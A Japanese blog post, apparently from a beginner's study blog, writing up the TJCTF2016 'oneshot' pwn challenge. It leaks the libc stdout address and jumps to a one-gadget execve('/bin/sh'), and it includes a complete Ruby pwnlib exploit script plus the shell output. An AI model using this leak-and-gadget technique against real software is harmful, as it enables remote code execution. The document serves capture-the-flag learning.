Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

TJCTF2016 oneshot (pwn170)

簡単なやつを解いてモチベを上げた.

下調べ

vagrant@alice1000:~/c/tjctf2016$ file oneshot  | sed -e 's/, /\n/g'                                                                                                          ASLR: ON
oneshot: ELF 64-bit LSB executable
x86-64
version 1 (SYSV)
dynamically linked
interpreter /lib64/ld-linux-x86-64.so.2
for GNU/Linux 2.6.32
BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59
not stripped

vagrant@alice1000:~/c/tjctf2016$ checksec --file oneshot                                                                                                                     ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       oneshot

とても良心的なバイナリ

解析

バイナリ自体はミジンコみたいに小さい.読みたいアドレスを値として送ると,Value: 0xdeadbeefという形で出力してくれる.次に飛びたいアドレスを値として送るとcallで飛んでくれる.

Exploit

面倒なので,libcはすでに特定済みとして話を進める.

vagrant@alice1000:~/c/tjctf2016$ md5sum libc.so.6                                                                                                                            ASLR: ON
a3e78b9d154d9d0936d3a1fda1743479  libc.so.6

本問題では,One-gadget-rce(Dragon Sectorの資料)というガジェットを用いてシェルを奪ってみる.これはlibc内にあり,うまく条件を満たせばexecve("/bin/sh", NULL, NULL)を実行してくれるガジェットのことである.以下に示したのが,One-gadget-rceの一例であり,今回使用したものである.
最初のmovは,環境変数の最初を指しており,それが後に,第三引数のrdxとして利用される.第二引数に利用されるrsiには,rsp+0x70が指す値が使われる.幸いこれが0になってくれたのでNULLとして利用できた.第一引数に利用されるrdiはコメントにあるとおり"/bin/sh"を示している.したがって,オフセット0xf0567の場所に飛べば無条件でシェルが起動するということがわかる.(環境変数がNULLにならないのは見逃して)

One-gadget-rce

00000000000f0567         mov        rax, qword [0x3c2eb8]
00000000000f056e         lea        rsi, qword [rsp+0x70]                       ; argument #2 for method execve
00000000000f0573         lea        rdi, qword [_libc_intl_domainname+407]      ; "/bin/sh", argument #1 for method execve
00000000000f057a         mov        rdx, qword [rax]                            ; argument #3 for method execve
00000000000f057d         call       execve

objdumpやgrep等でサクッと見つける方法があるのかもしれないが,わからなかったので,Hopperに投げて,execveが呼ばれているところを順番に見ていった(たいして数はない).

One-gadget-rceを利用して作成したexploitを以下に示す.

require 'pwnlib'

host = "localhost"
port = 8888

PwnTube.open(host, port) do |t|

  stdout = 0x600b20
  stdout_offset = 0x3c4620
  magic_offset = 0xf0567

  t.recv_until("\n")
  t.sendline(stdout.to_s)

  stdout_leak = t.recv_capture(/: (.+)\n/)[0].to_i(16)
  libc_base = stdout_leak - stdout_offset

  t.recv_until("\n")
  magic_gadget = libc_base + magic_offset

  puts "One-gadget-rce = 0x%x" % magic_gadget

  #STDIN.gets
  t.sendline(magic_gadget.to_s)
  puts t.recv_until("\n")

  t.shell

end

以下が実行結果である.

[*] connected
One-gadget-rce = 0x7f94faeec567
Good luck!
[*] waiting for shell...
[*] interactive mode
cat flag.txt
tjctf{m4gic_And_m0re_Mag1cK}

感想

存在は知っていたけれど使ったことはなかった(正確には前使おうとしたが結局何かが原因で成功しなかった)ので,体験できてよかった.フラグからもわかるように完全にOne-gadget-rceが想定解放っぽい感じがある.one-gadget-rceをサクッと見つけて,NULLにしておかなくちゃいけないスタックの状況とかを可視化できるコマンドラインツールほしいね.